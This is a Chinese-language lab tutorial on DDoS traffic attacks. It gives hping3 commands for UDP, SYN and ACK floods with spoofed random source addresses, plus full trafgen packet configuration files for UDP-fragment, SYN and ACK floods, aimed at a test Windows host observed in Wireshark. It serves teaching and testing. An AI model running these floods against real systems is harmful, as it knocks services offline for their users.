DDOS流量攻击
0x01 环境
包含2台主机
attact 作为攻击方,使用Centos7.2
windows_server  ,用于被攻击,同时抓包分析流量 ,任意版本均可。安装wireshark,用于抓包
0x02 步骤
一、使用hping
查看帮助信息
hping --help
1、使用hping3进行 udp flood攻击
hping3 --flood --rand-source --udp -p 目标端口 目标IP
hping3 --flood --rand-source --udp -c 100 -p 目标端口 目标IP
–flood : sent packets as fast as possible
–rand-source: random source address
–udp : UDP mode
-p –destport: destination port (default 0)
-c 100 发送100个数据包,用于实验,不加可能会死机
执行命令时,抓包查看发送数据。并观察目标机器网络
2、使用hping 进行syn_flood攻击
hping3 --flood –-rand-source -S -c 100 -p 目标端口 目标IP
-S:发送SYN标记
攻击后,在windows上使用 netstat -ano | find "SYN"命令,查看现象
3、使用hping 进行ack_flood攻击
hping3 --flood –-rand-source -A -c 100 -p 目标端口 目标IP
-A:发送ACK标记
试试同时发起syn_flood与ack_flood
二、使用netsniff的trafgen组件
1、使用trafgen进行udp 碎片攻击
small_frag.traf为配置模板,需要修改 目标IP地址 目标端口 目标MAC地址等参数
trafgen --cpp --dev 接口名 --conf small_frag.traf -n 100 --verbose
–cpp Run packet config through C preprocessor
–conf 配置文件
–dev 接口名,通过ifconfig可以查看
–verbose 冗余发送
-n 100 发送100个数据包,用于实验,不加可能会死机
2、使用trafgen进行syn_flood攻击
trafgen --cpp --dev 接口名 --conf syn_flood.traf -n 100 --verbose
3、使用trafgen进行ack_flood攻击
trafgen --cpp --dev 接口名 --conf ack_flood.traf -n 100 --verbose
试试同时发起syn_flood与ack_flood
三、安装实验工具hping3
wget https://github.com/antirez/hping/archive/master.zip
unzip master
cd hping-master
yum install libpcap-devel
ln -sf /usr/include/pcap-bpf.h /usr/include/net/bpf.h
yum -y install tcl tcl-devel
./configure
make && make install
参考:安装hping的一些坑
四、安装实验工具 netsniff-ng
yum install netsniff-ng -y
trafgen的相关使用可以参考这个
hping 官方help
五、附件
附件1
small_frag.traf
/* UDP fragment DoS attack
 * Command example:
 *  trafgen --cpp --dev em2 --conf small_frag.trafgen --verbose
 * Note: dynamic elements "drnd()" make trafgen slower
 */
// trafgen packet conf for fragment DoS attack
// -------------------------------------------
//  - Need to randomize the frag ID
//  - Use trafgen support for dynamic checksum recalc
//
// Checksum cannot be fixed with iptables:
//   iptables -t mangle -I POSTROUTING -d 192.168.51.2 -j CHECKSUM --checksum-fill
// Because traffic is injected a place which don't have any NF hooks
//
{
  // --- Ethernet Header ---
  0x00, 0x0c, 0x29, 0x0e, 0xe4, 0xfe,  // MAC Destination
  0x90, 0xe2, 0xba, 0x0a, 0x56, 0xb4,  // MAC Source
  const16(0x0800), // Protocol
  // --- IP Header ---
  // IPv4 Version(4-bit) + IHL(4-bit), TOS
  0b01000101, 0x00,
  // IPv4 Total Len
  const16(40),
  // ID, notice runtime dynamic random
  drnd(2),
  // IPv4 3-bit flags + 13-bit fragment offset
  // 001 = More fragments
  0b00100000, 0b00000000,
  64, //TTL
  17, // Proto UDP
  // Dynamic IP Checksum (notice offsets are zero indexed)
  csumip(14, 33),
  192, 168, 164, 188, // Source IP
  192, 168, 164, 1, // Dest IP
  // --- UDP Header ---
  //  As this is a fragment the below stuff does not matter too much
  const16(48054), // src port
  const16(62148), // dst port
  const16(20),    // UDP length
  // UDP checksum can be dyn calc via csumudp(offset IP, offset TCP)
  //  which is csumudp(14, 34), but for UDP its allowed to be zero
  const16(0),
  // Payload
  'A',  fill(0x41, 11),
}
附件2
syn_flood.traf
/* TCP SYN attack ( 64byte )
 * Command example:
 *  trafgen --cpp --dev em2 --conf synflood.trafgen --verbose
 * Note: dynamic elements "drnd()" make trafgen slower
 */
#define ETH_P_IP	0x0800
#define SYN		(1 << 1)
#define ACK		(1 << 4)
#define ECN		(1 << 6)
{
  /* --- Ethernet Header --- */
  /* NEED ADJUST */
  0x00, 0x0c, 0x29, 0x0e, 0xe4, 0xfe,  # MAC Destination
  0x00, 0x12, 0xc0, drnd(3),  # MAC Source
  const16(ETH_P_IP),
  /* IPv4 Version, IHL, TOS */
  0b01000101, 0,
  /* IPv4 Total Len */
  const16(46),
  /* IPv4 Ident */
  drnd(2),
  //const16(2),
  /* IPv4 Flags, Frag Off */
  0b01000000, 0,
  /* IPv4 TTL */
  64,
  /* Proto TCP */
  0x06,
  /* IPv4 Checksum (IP header from, to) */
  csumip(14, 33),
  /* NEED ADJUST */
  10, 10, 88, drnd(1), # Source IP
  192, 168, 164, 1, # Dest IP
  /* TCP Source Port */
  drnd(2),
  /* TCP Dest Port */
  const16(1033),
  /* TCP Sequence Number */
  drnd(4),
  /* TCP Ackn. Number */
  const32(0), /* NOTICE ACK==zero with SYN packets */
  /* TCP Header length + Flags */
  //const16((0x5 << 12) | SYN | ECN)	/* TCP SYN+ECN Flag */
  //const16((0x5 << 12) | SYN | ACK)	/* TCP SYN+ACK Flag */
  const16((0x5 << 12) | SYN)		/* TCP SYN Flag */
  //const16((0x5 << 12) | ACK)		/* TCP ACK Flag */
  /* Window Size */
  const16(16),
  /* TCP Checksum (offset IP, offset TCP) */
  csumtcp(14, 34),
  const16(0), /*PAD*/
  /* Data */
  "SYNswf"
}
附件3
ack_flood.traf
/* TCP ACK attack ( 64byte )
 * Command example:
 *  trafgen --cpp --dev em2 --conf ackflood.trafgen --verbose
 * Note: dynamic elements "drnd()" make trafgen slower
 */
#define ETH_P_IP    0x0800
#define SYN        (1 << 1)
#define ACK        (1 << 4)
#define ECN        (1 << 6)
{
  /* --- Ethernet Header --- */
  /* NEED ADJUST */
  0x00, 0x0c, 0x29, 0x0e, 0xe4, 0xfe,  # MAC Destination
  0x00, 0x12, 0xc0, drnd(3),  # MAC Source
  const16(ETH_P_IP),
  /* IPv4 Version, IHL, TOS */
  0b01000101, 0,
  /* IPv4 Total Len */
  const16(46),
  /* IPv4 Ident */
  drnd(2),
  //const16(2),
  /* IPv4 Flags, Frag Off */
  0b01000000, 0,
  /* IPv4 TTL */
  64,
  /* Proto TCP */
  0x06,
  /* IPv4 Checksum (IP header from, to) */
  csumip(14, 33),
  /* NEED ADJUST */
  10, 10, 88, drnd(1), # Source IP
  192, 168, 164, 128, # Dest IP
  /* TCP Source Port */
  drnd(2),
  /* TCP Dest Port */
  const16(80),
  /* TCP Sequence Number */
  drnd(4),
  /* TCP Ackn. Number */
  drnd(4),
  /* TCP Header length + Flags */
  //const16((0x5 << 12) | SYN | ECN)    /* TCP SYN+ECN Flag */
  //const16((0x5 << 12) | SYN | ACK)    /* TCP SYN+ACK Flag */
  //const16((0x5 << 12) | SYN)        /* TCP SYN Flag */
  const16((0x5 << 12) | ACK)        /* TCP ACK Flag */
  /* Window Size */
  const16(16),
  /* TCP Checksum (offset IP, offset TCP) */
  csumtcp(14, 34),
  const16(0), /*PAD*/
  /* Data */
  "ACKswf"
}
												
											DDOS流量攻击的更多相关文章
- 常见的 CSRF、XSS、sql注入、DDOS流量攻击
		
CSRF攻击 :跨站请求伪造攻击 ,CSRF全名是Cross-site request forgery,是一种对网站的恶意利用,CSRF比XSS更具危险性 攻击者一般会使用吸引人的图片去引导用户点击进 ...
 - 什么是高防服务器?如何搭建DDOS流量攻击防护系统
		
关于高防服务器的使用以及需求,从以往的联众棋牌到目前发展迅猛的手机APP棋牌,越来越多的游戏行业都在使用高防服务器系统,从2018年1月到11月,国内棋牌运营公司发展到了几百家. 棋牌的玩法模式从之前 ...
 - nginx解决服务器宕机、解决跨域问题、配置防盗链、防止DDOS流量攻击
		
解决服务器宕机 配置nginx.cfg配置文件,在映射拦截地址中加入代理地址响应方案 location / { proxy_connect_timeout 1; proxy_send_timeout ...
 - Nginx防止DDOS流量攻击
		
DDOS流量攻击:频繁的发送请求,造成宽带占用,其他客户端无法访问 Nginx解决DDOS流量攻击,利用limit_req_zone限制请求次数 limit_con ...
 - 如何防御网站被ddos攻击 首先要了解什么是流量攻击
		
什么是DDOS流量攻击?我们大多数人第一眼看到这个DDOS就觉得是英文的,有点难度,毕竟是国外的,其实简单通俗来讲,DDOS攻击是利用带宽的流量来攻击服务器以及网站. 举个例子,服务器目前带宽是100 ...
 - DDOS攻击(流量攻击)防御步骤
		
DDOS全名是Distributed Denial of service (分布式拒绝服务攻击),很多DOS攻击源一起攻击某台服务器就组成了DDOS攻击,DDOS 最早可追溯到1996年最初,在中国2 ...
 - DDOS的攻击原理和防护指南(转)
		
DDOS的攻击原理和防护指南 作者:冰盾防火墙 网站:www.bingdun.com 日期:2008-01-07 我们现在来分析DDOS的攻击原理. 首先,DDOS是英文Distribut ...
 - DDOS的攻击原理和防护指南
		
我们现在来分析DDOS的攻击原理. 首先,DDOS是英文Distributed Denial of Service的缩写,意思是分布式拒绝服务.拒绝服务又是什么意思呢?就是采取一些垃圾数据包来阻塞网站 ...
 - [故障公告]14:39-15:39博客站点部分负载均衡遭遇3次20G以上的流量攻击
		
非常抱歉,今天下午14:39-15:39左右,博客站点的部分负载均衡遭遇3次20G以上的流量攻击,造成很多用户不能正常访问.由此给您带来麻烦,请您谅解. 攻击的过程是这样的: 14:39,第1次攻 ...
 
随机推荐
- MySQL里的那些日志们
			
该系列博文会告诉你如何从入门到进阶,从sql基本的使用方法,从MySQL执行引擎再到索引.事务等知识,一步步地学习MySQL相关技术的实现原理,更好地了解如何基于这些知识来优化sql,减少SQL执行时 ...
 - Solution -「多校联训」自动机
			
\(\mathcal{Description}\) Link. 有一个状态集为 \(V\) 的自动机,状态接收 (, ) 和 _(空格) 三种字符,分别编号为 \(0,1,2\),状态 \(u ...
 - Solution -「SDOI 2016」「洛谷 P4076」墙上的句子
			
\(\mathcal{Description}\) Link. (概括得说不清话了还是去看原题吧 qwq. \(\mathcal{Solution}\) 首先剔除回文串--它们一定对答案产 ...
 - 第三章 in,not in 的理解,limit限制结果集
			
IN 运算符用来判断表达式的值是否位于给出的列表中:如果是,返回值为 1,否则返回值为 0.NOT IN 的作用和 IN 恰好相反,NOT IN 用来判断表达式的值是否不存在于给出的列表中:如果不是 ...
 - (待补充)diff 算法解析
			
今天,学习React的时候,底层提到了 diff算法,顺藤摸瓜, 也发现了VUE也使用了diff算法. mark一下,后续补充 infoq-VUE-diff算法 react-diff算法
 - tomcat 上传文件权限不足
			
参考:https://www.cnblogs.com/houchaoying/p/8652040.html tomcat-bin-catalina.sh UMASK="0027" ...
 - DoS泛洪测试与防御
			
实验目的 DoS泛洪测试与防御 实验内容 DoS泛洪测试与防御 实验环境描述 1. 学生机与实验室网络直连: 2. VPC1与实验室网络直连: 3. 学生机与VPC1物理链路连通: 实验步骤 学生登录 ...
 - 从菜鸟到高手, HMS Core图像分割服务教你如何在复杂背景里精细抠图
			
2021年以来,自动驾驶赛道进入爆发期,该行业成为大厂以及初创企业的必争之地.其中众多公司都采用了计算机视觉作为自动驾驶的技术底座,通过图像分割技术,汽车才能够有效理解道路场景,分清楚哪里是路,哪里是 ...
 - 【C# 程序集】.net core 3.0中动态卸载|卸载程序集
			
原文:https://docs.microsoft.com/zh-cn/dotnet/core/dependency-loading/understanding-assemblyloadcontext ...
 - 【C# 程序集】.NET core Could not load file or assembly
			
NET core 添加了新的nuget包,部署出现Could not load file or assembly 这个坑,今天整了一天,我添加了Microsoft.AspNetCore.Mvc.Ver ...